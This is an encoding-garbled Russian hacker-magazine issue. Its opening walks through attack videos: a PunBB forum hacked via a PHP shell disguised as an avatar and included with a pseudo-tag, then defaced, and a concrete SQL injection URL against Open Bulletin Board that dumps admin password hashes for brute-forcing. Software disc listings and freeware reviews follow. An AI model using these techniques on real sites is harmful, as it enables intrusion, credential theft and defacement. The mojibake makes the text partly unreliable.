åãî. Ñíà÷àëà õàêñîð õèòðûì ìåòîäîì ïîëó÷àåò
äîñòóï àäìèíà, ïîñëå ÷åãî ïðèñòóïàåò ê áîëåå
èíòåðåñíîé ÷àñòè ñâîåãî çëîñòíîãî ïëàíà. 
Ðàçðàáîò÷èêè, íàâåðíîå, íå ó÷ëè, ÷òî ìîæíî âñòà-
âèòü ïñåâäî-òåã <pun_include ...> â îïèñàíèå ôî-
ðóìà, äàâ òåì ñàìûì âçëîìùèêàì âîçìîæíîñòü
åùå ãëóáæå ïîõàêàòü åãî. Òåã <pun_include> ìî-
æåò ïîäêëþ÷àòü òîëüêî ëîêàëüíûå ôàéëû, íî íè-
÷åãî ñòðàøíîãî â ýòîì íåò. Õàêåð ñ ëåãêîñòüþ çàã-
ðóæàåò ïñåâäî-àâàòàðêó þçåðà, êîòîðàÿ íà ñàìîì
äåëå ñîäåðæèò â ñåáå PHP-øåëë. Îíà áóäåò ñêè-
íóòà â img/avatars/[ID_ÏÎËÜÇÎÂÀÒÅËß].jpg. Òàê
êàê íàø þçåð èìååò ID=7, òî âñòàâèòü ñåòåâîìó
ïàäîíêó íóæíî áóäåò òàêîé òåã: <pun_include
img/avatars/7.jpg>. Ñîõðàíÿåì... Èäåì íà ãëàâ-
íóþ... Ïðèñâàèâàåì ïåðåìåííîé cmd çíà÷åíèå id,
ïåðåäàåì äàííûå ñêðèïòó index.php è âèäèì, ÷òî
âìåñòî îïèñàíèÿ ôîðóìà îòîáðàçèëèñü íàøè ïðà-

âà â ñèñòåìå. Èòàê, òåïåðü ìû èìååì âåá-øåëë. Ñ
åãî ïîìîùüþ ìîæíî ïðîñìîòðåòü ñïèñîê ôàéëîâ
è íàéòè òàì config.php. ×èòàåì ôàéë, â Page
source íàõîäèì ëîãèí è ïàñ ê mysql. Îáû÷íûé êîí-
ôèã âñåõ ôîðóìîâ. ×òî-òî ïîäñêàçûâàåò ìíå, ÷òî
íàäî ïîïðîáîâàòü çà-
ëîãèíèòüñÿ ñ ïîëó÷åí-
íûì ëîãèíîì è ïàñîì
íà ôòï. Íåîæèäî-
íàñòüþ ñòàëî èíòåðåñ-
íîå ñîâïàäåíèå ;) È âîò
ÿ óæå ðîþñü ñðåäè ôàé-
ëîâ ñàéòà â ïîèñêàõ
index-ïàãè. Êàê âûÿñíè-
ëîñü, îíà íàçûâàåòñÿ

index.php (ñòðàííî, ïðàâäà?). ×óòü
ìåíÿåì åå, ÷òî áû ñäåëàòü äå-
ôåéñ... È âîò íà ãëàâíîé ñòðàíèöå
áóðæóéñêîãî ñàéòà òåïåðü êðàñó-
åòñÿ íàäïèñü: «Õàêåð ñàìûé ëó÷-
øèé!». Íî âñêîðå ÿ âñå âîçâðà-
ùàþ íà ñâîè ìåñòà è îïîâåùàþ
àäìèíèñòðàöèþ î íàéäåííîé óÿç-
âèìîñòè.

[[îîïïèèññààííèèåå ððîîëëèèêêàà:: 
OOppeenn BBuulllleettiinn BBooaarrdd hhaacckkiinngg
ààââòòîîðð ââèèääååîî:: CCLLKKiilllleerr]]
Â ýòîì ïðîñòåíüêîì âèäåî õàêåð äåìîíñòðèðóåò
ïðèìåð èñïîëüçîâàíèÿ íåäàâíî íàïèñàííîãî
ñïëîèòà êîìàíäîé rst äëÿ ôîðóìà Open Bulletin
Board âåðñèè <=1.0.5. Óÿçâèìîñòü sql-injection,
íàéäåííàÿ â ñêðèïòå index.php, èìååò ñëåäóþùèé
âèä: index.php?CID=999+union+select+1,1,pass-
word,1,1,1,1,1,1,1,1,id,1+from+profiles+where+id=$i
d/*. Óçíàâ îá ýòîé îøèáêå, õàêåð óñòðåìëÿåòñÿ
ïðîâåðèòü íàéäåííóþ óÿçâèìîñòü íà äåëå. Äëÿ
íà÷àëà îí íàõîäèò ÷åðåç ïîèñêîâèê ïîòåíöèàëü-
íóþ æåðòâó, ïîñëå ÷åãî ñëèâàåò ñïëîèò îò RST ê
ñåáå íà òà÷êó. Êîìïèëèòü åãî íå ïðèõîäèòñÿ,
ïîñêîëüêó îí íàïèñàí íà ïåðëå, äîñòàòî÷íî
ïðîñòî çàïóñòèòü ñêðèïò. Ýêñïëîéò òðåáóåò ñëå-
äóþùèõ ïàðàìåòðîâ: â íà÷àëå óêàçûâàåòñÿ
õîñò, êîòîðûé áóäåò àòàêîâàí, ïîñëå � èìÿ ïàï-
êè, â êîòîðîé íàõîäèòñÿ ôîðóì, è íàêîíåö, ñòà-
âèòñÿ id òîãî ïîëüçîâàòåëÿ, ïàðîëü êîòîðîãî
âçëîìùèê õî÷åò óêðàñòü. Èòàê, íàø õàêåð çàïóñ-
êàåò ñïëîèò è... Äà! Ôîðóì ñäàëñÿ è âûïëþíóë
ìä5-õýø àäìèíà ïðÿìî â õàêñîðà :) Òåïåðü ñåòå-
âîé íåãîäíèê ïðèñòóïàåò ê ðàñøèôðîâêå õýøà.
Â ýòîì åìó ïîìîæåò óòèëèòà md5inside, î êîòî-
ðîé, äóìàþ, òû óæå íåìàëî íàñëûøàí. Âûáðàâ
íóæíûé ôîðìàò âîçìîæíîãî ïàðîëÿ, îí çàïóñêà-
åò áðóò, ñòàâèò åãî â áýêãðàóíä è óõîäèò ñïàòü...
Íà ñëåäóþùèé äåíü, õà-
êåð, ïðîâåðÿÿ ðåçóëüòàò
íà÷àòîãî â÷åðà áðóò-

ôîðñà, âèäèò, ÷òî âñå ïàðîëè, êîòîðûå îí çàãðó-
çèë, óäà÷íî ïîäîáðàëèñü. Òåïåðü äåëî îñòàåòñÿ
çà ìàëûì. Îí óñòðåìëÿåòñÿ íà ãëàâíóþ ñòðàíè-
öó ôîðóìà è íàõîäèò ôîðìó ââîäà èìåíè ïîëü-
çîâàòåëÿ è ïàðîëÿ. Ñóäîðîæíî ââîäèò ñáðó÷åí-
íûå äàííûå è íàæèìàåò «Çàéòè». Ïîñëå íåáîëü-
øîé ïàóçû îí óäà÷íî çàëîãèíèâàåòñÿ ïîä àäìè-
íîì. Òåïåðü åìó îòêðûòà äîðîãà ê áîëüøèì äå-
ëàì! Â àäìèíêå ôîðóìà ìîæíî ïîëüçîâàòüñÿ
ìíîæåñòâîì ðàçëè÷íûõ âêóñíîñòåé. Íàïðèìåð,
ìîæíî èçìåíÿòü òåìû ôîðóìà, óñòàíîâèòü ëþ-
áîìó ïîëüçîâàòåëÿ áàí, èëè ïîìåíÿòü ïàðîëè
âñåì àäìèíàì è ïîëüçîâàòåëÿì, ÷òî íè÷åãî õî-
ðîøåãî äóìàþ, íå ïðèíåñåò. Îäíèì ñëîâîì, õà-
êåð ñòàíîâèòñÿ áîãîì íà ôîðóìå, èëè ïîëíîöåí-
íûì àäìèíîì, êîòîðûé î÷åíü çîë è ñâèðåï
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MULTIMEDIA
CyD Image Viewer 3.0
Slysoft AnyDVD 5.3.7.1
CloneCD 5.2.6.1
Macromedia Flash Player 8
Alien Skin Eye Candy 5 
Flash LipSync Bundle 1.0.1
Magic ISO Maker 
ImTOO AVI MPEG 

ImTOO WMA MP3 
Sateira CD&DVD Burner 2.24
VirtualDub 1.6.8
Vector Graphics ActiveX 
Free Picture Finder 3.41

DEVELOPMENT
WinAsmStudio 5.0.4
Masm32 8.2
VB decompiler v0.4

UltraEdit-32 11.10a
FlexCell Grid Control 
PHP 5.1.0 Beta 3
MySQL 5.0
upack 0.29 beta
Protection! Licensing
Framework Standard 1.3
eXPressor 1.2.0.1
Code Secure 2.0.1

NET
Ad Muncher 4.6 build 10270
Kerio WinRoute Firewall 6.1.1
Google Earth
BlackICE PC Protection
NET Utils 4.1
Careful Observer 2.0
CheckMail 2.5.2
CrackDownloader 2.2
AlterWind Log Analyzer 
Shop-Script 1.1
FolderShare 2.5.4
EvilLyrics 0.1.8 RC3

ForecastFox 0.8.1.1
Naomi internet filter 2.5.21
Newzie 0.9.91
AssetDB 2.0.41
0S Non-Proxy Atomic Sync 
Universal Tools 0.11
eMule Plus 1.1e

SYSTEM
Kaspersky AntiHacker 1.7.130
Àíòèâèðóñ Êàñïåðñêîãî 
Extra Drive Creator 5.0 Pro
PC Inspector File Recovery 4.0
UltraISO v.7.6.1.1125
Intelore RAR Password
Recovery 1.1 RC16
Starter 5.6.1.45
Registry Manager 4.00 Beta 1
Microsoft Windows Server
2003 Performance Advisor
Abexo Memory 
History Sweeper 2.54
InqSoft Sign 0f Misery 2.7 

SAMInside 2.4.1.0
ATI Catalyst 5.7
CCleaner 1.21.130
Microsoft Baseline
Security Analyzer 2.0
PerfectDisk 7.00.042

MISC
Keyboard Maniac 4.0
Icon to folders 2.1
CyD Virtual Desktop 1.0
CaptureWizPro 3.3
FastFolders 3.2.3
QReminder 1.0
PowerSheet 3.1
SumsBox-W for MS Word 1.8
DocRepair 2.20 build 0718
Taskbar Hide 1.28
Password Saver 2.2.1
TaskSwitchXP 2.0.6
X-Setup Pro 7.1
PowerArchiver 9.25.02
Win32Pad 1.5.8

MULTIMEDIA
FVWM 2.5.13
NeroLinux 2.0.0.2
gwenview 1.2.91
MusE 0.7.2pre2
LMMS 0.1.0beta
KIso 0.8.2c
QFaxReader 0.3c
Fraqtive 0.3.0

DEVELOPMENT 
Scribus 1.3.0
CodeForge 4.5
PHP 4.4
GCC 4.0.1
Qt 4.0
LyX 1.3.6
Texmaker 1.2
eric3 3.7.1

NET
PowerDNS 2.9.18
Mozilla Thunderbird 1.0.6
OpenSSL 0.9.8
Firewall Builder 2.0.8
RSSOwl 1.1.3

SYSTEM
Linux 2.6.12.3

KlamAV 0.22
Kat 0.6.0beta1
Trustix Secure Linux 3.0
Slax Frodo Edition 5.0.6
GNOME 2.10.2

MISC
KMyMoney 0.7.4
K3DSurf 0.5.0

WINDOWS

UNIX

CD1
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ØÀÐÎWAREZ
HDDlife 2.5.69
DeskTool 3.0 Build 153
Release
SpeedFan 4.24
Download Master 4.2.4.887
Bred 3
TCODE 2.17
Äîìàøíÿÿ áóõãàëòåðèÿ
4.0.8.5
Hare 1.5.1
DU Meter 3.07
BayesIt! 0.8.1

Automotive Wolf 4.49
eSizeIt 1.2
SMS Reception Center 1.15
Flash Movie Extractor
Scout 1.95
FeedEditor 1.6
StrokeIt 0.9.5
UsenetJunkie 3.5.5

UNIXWAREZ
Celestia v 1.3.2
Sven v 0.4.2
metromap v 0.1.0

Raggle v 0.4.1
darkhttpd v 1.2
Minimum Profit v 3.3.14

X-TOOLZ
STCLite Stego 3.1
8Signs Firewall
Registry Trash Keys Finder
3.6.1
Net Tools 3.1
Invisible Browsing

Äåôåéñ ñàéòà ÷åðåç áàã
â ôîðóìå punBB
Ïðîõîæäåíèå èþëüñêîãî
êîíêóðñà

][AKEP
][akep 2005 - 06 (78)

][AKEP ÑÏÅÖ
][akep Ñïåö 2005 - 06 (55)

ÆÅËÅÇÎ
Æåëåçî 16 (06)

MC
Mobile Computers 06 (57)

ËÓ×ØÈÅ
ÖÈÔÐÎÂÛÅ
ÊÀÌÅÐÛ
Ëó÷øèå öèôðîâûå
êàìåðû 09

Îáíîâëåíèÿ
àíòèâèðóñíûõ áàç AVP
Win updates

Äåìêè

MAGAZINE
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HDDlife
Windows 2000/XP/2003
Size: 3 Ìá
Freeware (åñòü è ïëàòíàÿ âåðñèÿ � 500 ðóáëåé)
www.hddlife.com

Ìàëî, êòî çàáîòèòñÿ î áåêàïå äàííûõ íà ñâîèõ ëè÷íûõ
êîìïüþòåðàõ äî òîãî ìîìåíòà, êîãäà â ñâÿçè ñ áåçâðå-
ìåííîé êîí÷èíîé âèíòà áåêàïèòü óæå ñòàíîâèòñÿ íå÷å-
ãî. ß íà ýòè ãðàáëè òîæå íàñòóïèë è ñ òåõ ïîð íåêîòîðîå
âíèìàíèå ñîõðàííîñòè ñâîèõ äàííûõ óäåëÿþ. Ïðîôè-
ëàêòèêà, óâàæàåìûå, âñåãäà îáõîäèòñÿ äåøåâëå âîñ-
ñòàíîâëåíèÿ ñ íóëÿ. È ïåðâîå äåëî íà ïóòè ñîõðàííîñòè
òâîåãî âèí÷åñòåðà � ýòî ìîíèòîðèíã ñîñòîÿíèÿ âèíòà.
HDDlife â ýòîì ñìûñëå èìååò ìàññó äîñòîèíñòâ: ðåàëü-
íàÿ ïðîñòîòà â èñïîëüçîâàíèè, íàãëÿäíîå îòîáðàæåíèå
èíôû î ñîñòîÿíèè çäîðîâüÿ è óðîâíÿ æèçíè òâîèõ HDD,
ïðè÷åì òåõíîëîãèÿ JustNow! ïðîòåñòèðóåò äèñêè ìãíî-
âåííî è ïîêàæåò óðîâåíü çäîðîâüÿ è ïðîèçâîäèòåëü-
íîñòè â ïðîöåíòàõ îòíîñèòåëüíî íîâîãî äèñêà. Ïðîã-
ðàììà áóäåò ìîíèòîðèòü òâîè âèíòû ïîñòîÿííî, íå
ïðèâëåêàÿ ê ñåáå èçëèøíåãî âíèìàíèÿ, íî ñëåäÿ çà òåì,
÷òîáû âèíò íå «êðÿêíóë» íåâçíà÷àé. HDDlife èñïîëüçóåò
â ñâîåé ðàáîòå òåõíîëîãèþ S.M.A.R.T. (SMART) � îñî-

áóþ ñèñòåìó ñàìîäè-
àãíîñòèêè æåñòêèõ
äèñêîâ, êîòîðàÿ ïîñ-
òîÿííî àíàëèçèðóåò
ñîñòîÿíèå äèñêà âî
âðåìÿ ðàáîòû è ñîîá-
ùàåò î áîëåå ÷åì 20
ðàçíûõ êîíòðîëèðóå-
ìûõ ïàðàìåòðàõ.
HDDlife â ñâîþ î÷å-
ðåäü òåñòèðóåò âñå
ýòè òåõíè÷åñêèå ïà-
ðàìåòðû è ïðåäñòàâ-

ëÿåò ðåçóëüòàò ïîëüçîâàòåëþ â óïðîùåííîé íàãëÿäíîé ôîðìå. Îò-
äåëüíàÿ ôèøêà ïðîãðàììû � ìîíèòîðèíã òåìïåðàòóðû âèí÷åñòå-
ðîâ. Ïðîèçâîäèòåëè ïðîãðàììû óòâåðæäàþò, ÷òî ïðè óâåëè÷åíèè
òåìïåðàòóðû äèñêà âñåãî íà 10°C åãî ïðîèçâîäèòåëüíîñòü ïàäàåò
ïî÷òè â 2 ðàçà! Òåïåðü ïðèÿòíûå ìåëî÷è: ó ïðîãè åñòü ðóññêèé èíòåð-
ôåéñ è âîçìîæíîñòü óäàëåííîãî îïîâåùåíèÿ î ïðîáëåìàõ. Â òåêó-
ùåé âåðñèè ïîääåðæèâàþòñÿ IDE, Serial ATA, SCSI äèñêè íà ñòàí-
äàðòíûõ êîíòðîëëåðàõ, âíåøíèå, IDE RAID è SCSI RAID êîíòðîëëå-
ðû íå ïîääåðæèâàþòñÿ. 

DeskTool 3.0 Build 153 Release 
Windows 95/98/NT/2000/ME/XP/2003
Size: 547 Êá
Shareware � $15
www.metaproducts.com

Ýòîé ïðîãðàììîé ÿ ïîëüçóþñü êàæäûé äåíü, îáðàùàÿñü ê íåé ïî íåñêîëüêî
ðàç çà ÷àñ. Èñêàë ÿ òàêóþ ñîôòèíêó è âûáèðàë ïðèìåðíî èç ïîëóòîðà äåñÿò-
êîâ àíàëîãîâ äîâîëüíî äîëãî. Â èòîãå íàøåë è èñïîëüçóþ ñ îñîáûì öèíèç-
ìîì. DeskTool � ýòî âñåãî-íàâñåãî ïàíåëü âñÿ÷åñêèõ èíñòðóìåíòîâ äëÿ ðàç-
ìåùåíèÿ íà ðàáî÷åì ñòîëå, ÷òî ÿñíî èç íàçâàíèÿ ïðîãðàììû. Íà ïàíåëü
ìîæíî ïîìåñòèòü ëþáûå ññûëêè íà óñòàíîâëåííûå â ñèñòåìå ïðîãðàììû,
îñîáåííî ïîëåçíî ïîâåñèòü òóäà ÿðëûêè äåñÿòêà-äðóãîãî ñîôòèí, êîòîðûìè
òû ïîëüçóåøüñÿ íàèáîëåå ÷àñòî. Ôóíêöèÿ Drag and Drop ïîääåðæèâàåòñÿ,
âñå î÷åíü ïðîñòî íàñòðàèâàåòñÿ, â òîì ÷èñëå è ñ èñïîëüçîâàíèåì ñêèíîâ.
Ñàìà ïàíåëü «ëåïèòñÿ» ê îäíîé èç ñòîðîí ýêðàíà (ó ìåíÿ � ñâåðõó) è êàê

òîëüêî òû ïîäâîäèøü ìûøèíûé êóð-
ñîð ê ñàìîìó êðàþ ýêðàíà � àêêó-
ðàòíî âûåçæàåò íàâñòðå÷ó íîâîìó
çàäàíèþ. Ïîñëå êëèêà ïî íóæíîìó
ÿðëûêó � àêêóðàòíî óåçæàåò íàçàä
(ñêîðîñòü ïðèåçäà-îòúåçäà íàñòðàè-
âàåòñÿ) è íèêàê òåáÿ íå áåñïîêîèò äî
ñëåäóþùåãî îáðàùåíèÿ. Ïîëüçîâà-
íèå ïàíåëüêîé ýêîíîìèò ïðèëè÷íîå
êîëè÷åñòâî âðåìåíè è èçáàâëÿåò îò
ëèøíèõ ìûøèíûõ êëèêîâ.

ÏÎÊÀ ÁÅÑÑÌÅÍÍÛÉ ÂÅÄÓÙÈÉ ØÀÐÎÂÀÐÅÇÀ ÍÀÕÎÄÈÒÑß ÍÀ ÇÀÑËÓ-
ÆÅÍÍÎÌ ÎÒÄÛÕÅ È ÈÇÎ ÂÑÅÕ ÑÈË ÁÜÅÒ ÁÀÊËÓØÈ, ß ÂÎÑÏÎËÜÇÓÞÑÜ
ÏÎÄÂÅÐÍÓÂØÈÌÑß ÑËÓ×ÀÅÌ È ÐÀÑÑÊÀÆÓ ÂÑÅÌ ÏÐÎ ÍÅ ÑÀÌÛÅ ÈÇÂÅ-
ÑÒÍÛÅ È ÏÎÄ×ÀÑ ÍÅÇÀÌÅÒÍÛÅ ÏÐÎÃÐÀÌÌÛ, ÇÄÎÐÎÂÎ ÎÁËÅÃ×ÀÞÙÈÅ
ÆÈÇÍÜ ËÞÁÎÌÓ ËÞÁÈÒÅËÞ ÏÎÑÈÄÅÒÜ ÇÀ ÊÎÌÏÎÌ. ÕÎ×Ó ÏÐÅÄÓÏÐÅ-
ÄÈÒÜ ÑÐÀÇÓ: ËÞÁÀß ÈÇ ÏÐÎÃÐÀÌÌ Â ÝÒÎÌ ÎÁÇÎÐÅ ÏÐÎÆÈËÀ ÍÀ ÌÎÅÌ
ÄÎÌÀØÍÅÌ ÊÎÌÏÜÞÒÅÐÅ ÍÅ ÌÅÍÜØÅ ÃÎÄÀ È ÍÅ ÁÛËÀ ÑÍÅÑÅÍÀ. ÒÎ
ÅÑÒÜ, ÍÈÆÅ ÒÛ ÍÀÉÄÅØÜ 10 ÏÐÎÃÐÀÌÌ, ÏÐÎÂÅÐÅÍÍÛÕ Â ÑÀÌÛÕ ÆÅÑ-
ÒÎÊÈÕ ÓÑËÎÂÈßÕ ÝÊÑÏËÓÀÒÀÖÈÈ È ÍÅ ÐÀÇÎ×ÀÐÎÂÀÂØÈÕ ÌÅÍß :).

Sharo
Warez-unit SHAROWAREZ
Ìèõàèë Ìèõèí 
(centner@real.xakep.ru
www.centner.tk)
SideX 
(sidex@real.xakep.ru)

UNIXWAREZ
Äìèòðèé Øóðóïîâ 
(www.nixp.ru)

][TOOLs
Ñòåïàí Èëüèí aka Step
(step@gameland.ru)
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SpeedFan 4.24
Windows 9x/ME/NT/2000/2003/XP
Size: 1373 Êá
Freeware
www.almico.com/speedfan.php

Äîâîëüíî ñòðàííî, ÷òî ðàçðàáîò÷èê
íå òðåáóåò çà ñâîå òâîðåíèå äåíåã.
Âîîáùå. Íèêàêèõ. À ìåæäó òåì,
ïðîãðàììà SpeedFan íóæíà â õî-
çÿéñòâå ëþáîãî, äàæå ñàìîãî
ñêðîìíîãî è íà÷èíàþùåãî îâåðêëî-
êåðà. Ìîé äîìàøíèé êîìïüþòåð ðà-
çîãíàí ïîâñåìåñòíî, ïîýòîìó ê âîï-
ðîñó ìîíèòîðèíãà òåìïåðàòóðû è
ðåæèìîâ ðàáîòû êóëåðîâ ÿ îòíî-
øóñü ñî âñåé ñåðüåçíîñòüþ. Âûá-
ðàííàÿ ìíîé ñîôòèíà, ïðèñòàëüíî
ñëåäèò çà òåìïåðàòóðîé âñÿ÷åñêèõ
ñèñòåìíûõ óñòðîéñòâ, îáîðóäîâàí-
íûõ òåðìîäàò÷èêàìè, ìåðÿåò è
îòîáðàæàåò ñêîðîñòè âðàùåíèÿ êóëåðîâ è ìîíèòîðèò íàïðÿæåíèå, ïîäà-
âàåìîå íà ÷èïñåò, è êðèòè÷åñêè âàæíûå êîìïëåêòóþùèå. SpeedFan óìå-
åò îòîáðàæàòü òåìïåðàòóðó æåñòêîãî äèñêà, åñëè óñòðîéñòâî ñî ñâîåé
ñòîðîíû ïîääåðæèâàåò ýòó íóæíóþ ôóíêöèþ. Ïðîãðàììà ïîçâîëÿåò îòñ-
ëåäèòü ïîâåäåíèå âåíòèëÿòîðîâ è îòðåãóëèðîâàòü èõ ïîâåäåíèå äîëæ-
íûì îáðàçîì, èçáàâëÿÿ êîìïüþòåðíîãî ãèêà îò èçëèøíåãî øóìà ðàçíî-
îáðàçíûõ «êàðëñîíîâ». Âàæíî, ÷òî èõ ñêîðîñòü ìîæíî ìåíÿòü è âðó÷-
íóþ, è àâòîìàòè÷åñêè. Îòäåëüíîãî âîñõèùåíèÿ çàñëóæèâàåò áîëåå ÷åì
âíóøèòåëüíûé è ïîñòîÿííî îáíîâëÿåìûé ñïèñîê ïîääåðæèâàåìûõ ìà-
òåðèíñêèõ ïëàò è óñòàíîâëåííûõ íà íèõ òåðìîäàò÷èêîâ. Èíôîðìàöèþ ñ
äàò÷èêîâ ìîæíî íàáëþäàòü ïðÿìî â ñèñòåìíîì òðåå èëè íàñòðîèòü åå
îòîáðàæåíèå òàê, êàê áóäåò óäîáíî èìåííî òåáå. Êà÷àé, íå ïîæàëååøü.

Download Master 4.2.4.879
Windows 9x/Me/NT/2k/XP
Size: 2107 Êá
Freeware
www.westbyte.com/dm

Ïèñàòü, ÷òî Download
Master 4.2.4.879 �
ýòî «îäíà èç ëó÷øèõ
óòèëèò äëÿ...» íå ìî-
ãó ïî äâóì ïðîñòûì è
ÿñíûì ïðè÷èíàì: âî-
ïåðâûõ, äëÿ ìåíÿ
îíà ïðîñòî ñàìàÿ
ëó÷øàÿ èç îïðîáî-
âàííûõ, à âî-âòîðûõ,
ëó÷øåå, êàê èçâåñò-
íî, � âðàã õîðîøåãî.

Èíà÷å ãîâîðÿ, âìåñòî òîãî, ÷òîáû ïðåäàâàòüñÿ íóäíîìó ñðàâíèòåëü-
íîìó òåñòèðîâàíèþ ïî äåñÿòêó ïàðàìåòðîâ, ÿ âñåãî ëèøü ïîëüçóþñü
ïðîãðàììîé, êîòîðàÿ ìíå íèêàêèõ ïðîáëåì íå ñîçäàåò âîîáùå, à äå-
ëî ñâîå çíàåò òóãî. Download Master � ýòî èíòåðíåò-êà÷îê. Êà÷àåò
âñå. Èìååò ïîíÿòíûé è íàñòðàèâàåìûé èíòåðôåéñ, óìååò ñîðòèðî-
âàòü ôàéëî, âñÿ÷åñêè ñèãíàëèçèðóåò î òåêóùèõ ìíîãîïîòî÷íûõ çà-
êà÷êàõ (âìåñòå ñ çåðêàëàìè), ïîíèìàåò ñêèíû, ìîæåò ñàìîñòîÿòåëü-
íî àïäåéòèòüñÿ è ðàáîòàòü ïî ðàñïèñàíèþ, ñîåäèíÿåòñÿ ÷åðåç dial-up,
ISDN, ADSL, LAN. Âåäåò ëîãè, èñòîðèþ è ãåíåðèò îò÷åòû, äàåò âîç-
ìîæíîñòü ðàáîòû ñ êîìàíäíîé ñòðîêîé è ïîçâîëÿåò ïîñëóøàòü/ïîñ-
ìîòðåòü ìóçûêàëüíûå è âèäåî ôàéëû â ïðîöåññå çàêà÷êè. Ïðè ýòîì
ìîíèòîðèò áóôåð îáìåíà íà ïðåäìåò ññûëîê, èíòåãðèðóåòñÿ â áðàó-
çåðû Microsoft Internet Explorer 4.0 è âûøå, Firefox, Mozilla, Opera 4.0 è
âûøå, Netscape Communicator 6.0 è âûøå, è âîîáùå-òî ãîâîðÿ ÿâëÿ-
åòñÿ äëÿ ìåíÿ ëè÷íî íåçàìåíèìûì ïîìîùíèêîì. Ðåêîìåíäóþ.

Bred 3 (òåêóùàÿ âåðñèÿ beta 3) 
Windows 9x/Me/NT/2k/XP
Size: 580 Êá
Freeware
www.astonshell.ru/bred3/index.html

Ñàìàÿ ñòàðàÿ ïðîãðàììà è, íàâåðíîå, ñàìàÿ äëÿ ìåíÿ âàæíàÿ. Ýòî
èìåííî òîò òåêñòîâûé ðåäàêòîð, â êîòîðîì ÿ íàïèñàë ïðàêòè÷åñêè
âñå ñâîè ëèòåðàòóðíûå øåäåâðû äëÿ ][. Íè÷åãî óäèâèòåëüíîãî â òîì,

÷òî Bred 3 ñòàë î÷åíü ïîïóëÿðåí.
Èçíà÷àëüíî ðåäàêòîð ñóùåñòâî-
âàë â êà÷åñòâå àëüòåðíàòèâû äëÿ
ñòàíäàðòíîãî âèíäîâîãî Áëîêíî-
òà, ïðî êîòîðûé ÿ óæå è çàáûë çà
åãî ïîëíîé íåíàäîáíîñòüþ. Ðå-
äàêòîð ìàëåíüêèé, Î×ÅÍÜ óäîá-
íûé, èìååò ñêðîìíûé, çà ñ÷åò ÷å-
ãî ÏÎÍßÒÍÛÉ è ÓÄÎÁÍÛÉ èí-

òåðôåéñ, ïîääåðæèâàåò íàèáîëåå ðàñïðîñòðàíåííûå êèðèëëè÷åñ-
êèõ êîäèðîâêè (ANSI, KOI8, OEM, þíèêîä) è óìååò ïðåîáðàçîâûâàòü
òåêñòû ìåæäó íèìè «íà ëåòó». Íå èìååò îãðàíè÷åíèé íà ðàçìåðû
ôàéëîâ (áûâàëî, ñòîëüêî ïîíàïèøåøü, ÷òî âñÿêèå âîðäû ëîïàëèñü
îò íàïðóãè), ïîääåðæèâàåò ïëàãèíû. Ñåé÷àñ àâòîð ïðîãðàììû ïðè-
íèìàåò ïîæåëàíèÿ ïîëüçîâàòåëåé ñ òåì, ÷òîáû ìàòåðèàëèçîâàòü èõ
è âíåäðèòü â ïðîãðàììó, òî÷íåå, â åå ôèíàëüíóþ âåðñèþ. Íåìàëî-
âàæíî è òî, ÷òî äëÿ ðîññèÿí (èëè âûäàþùèõ ñåáÿ çà òàêîâûõ) Bred 3
áûë è áóäåò áåñïëàòíûì. Ïåðåä àâòîðîì ïðîãðàììû ïåðñîíàëüíî
ñíèìàþ øëÿïó çà êà÷åñòâî ïðîäóêòà è åãî îïèñàíèå. Ñïàñèáî çà
òâîé òðóä, óâàæàåìûé!

TCODE 2.17
Windows 9x/Me/NT/2k/XP
Size: 332 Êá
Freeware
http://alexboiko.narod.ru/prod.html

Æèçíü ó ìåíÿ òàêàÿ,
÷òî ïîëó÷àþ ÷àñòåíü-
êî âñÿ÷åñêèå ïèñü-
ìà. Îíè áûâàþò õî-
ðîøèå è ðàçíûå, ðàç-
íûå îáû÷íî ïðèñû-
ëàþò â òàêîé çàìûñ-
ëîâàòîé êîäèðîâêå,
÷òî íå ðàçáåðåøüñÿ.
Â ñâÿçè ñî ñëîæèâ-
øåéñÿ îáñòàíîâêîé,
îáçàâåëñÿ ÿ ìîù-

íûì ïåðåêîäèðîâùèêîâ çàòåéëèâûõ êðàêîçÿáðîâ â ïîíÿòíûå âñÿ-
êîìó áóêâèöû ðîäíîãî àëôàâèòà. TCODE àâòîìàòè÷åñêè ðàçáèðà-
åòñÿ ïðàêòè÷åñêè â ëþáîì «èñïîð÷åííîì» òåêñòå, ïîíèìàÿ â òîì
÷èñëå è ìíîãîêðàòíî ïåðåêîäèðîâàííûå ïîñëàíèÿ. «Âîññòàíîâëå-
íèå ïðîèçâîäèòñÿ ïóòåì ïåðåáîðà êîìáèíàöèé ïåðåêîäèðîâîê è
ðàñïîçíàâàíèåì ïîëó÷åííûõ ñëîâ ñ ïîìîùüþ áûñòðîãî ýâðèñòè-
÷åñêîãî àëãîðèòìà, îñíîâàííîãî íà îñîáåííîñòÿõ ïîñòðîåíèÿ ñëîâ
ðóññêîãî ÿçûêà. Ïðè âîññòàíîâëåíèè ïîääåðæèâàþòñÿ êîäèðîâêè
DOS, Windows, KOI-8, ISO 8859-5, à òàêæå ïðåîáðàçîâàíèå òåêñòà
èç ôîðìàòîâ Base64, UUE, XXE, Quoted-Printable, RTF, HTML, UTF-
8 è òðàíñëèò», � ïèøåò àâòîð ïðîãðàììû Àëåêñåé Áîéêî. È âåäü
âåðíî ïèøåò! Ñàìà ïðîãðàììà ñèäèò ñåáå òèõîíüêî â òðåå è îæè-
äàåò, ïîêà â íåå íå ïîìåñòÿò òåêñò èç êëèïáîðäà è íå òûöíóò â
èêîíêó. Åñëè ïîòðåáóåòñÿ � îñèëèò ïàêåòíóþ îáðàáîòêó ôàéëîâ.
Èç âåëèêîãî ìíîæåñòâà ïåðåêîäèðîâùèêîâ ïîëüçóþñü èìåííî
TCODE, è ïåðåñàæèâàòüñÿ íà ÷òî-ëèáî íå æåëàþ. Èòîãî: áûñòðî,
íàäåæíî è óäîáíî.

Äîìàøíÿÿ áóõãàëòåðèÿ 4.0.8.5
Windows 9x/Me/NT/2k/XP
Size: 3263 Êá
Shareware (300 ðóáëåé)
http://keepsoft.ru/homebuh.htm

Ïðèçíàþñü ÷åñòíî � ÿ æàäíûé. Â ñìûñëå � î÷åíü ëþáëþ âåñåëûå
çîëîòûå áàáëîíãè è ñ áîëüøèì ïèåòåòîì îòíîøóñü ê âîïðîñó èõ íà-
êîïëåíèÿ. Õî÷ó ñòàòü êàïèòàëèñòîì, êîðî÷å ãîâîðÿ. Âñÿêèé êàïèòà-
ëèñò è ïðîñòî ïîëüçîâàòåëü äåíåã äîëæåí ÷åòêî çíàòü � ÷òî è êóäà
îí ïîòðàòèë. Â ýòîì äåëå íåçàìåíèìî âñÿ÷åñêîå ïðîãðàììíîå
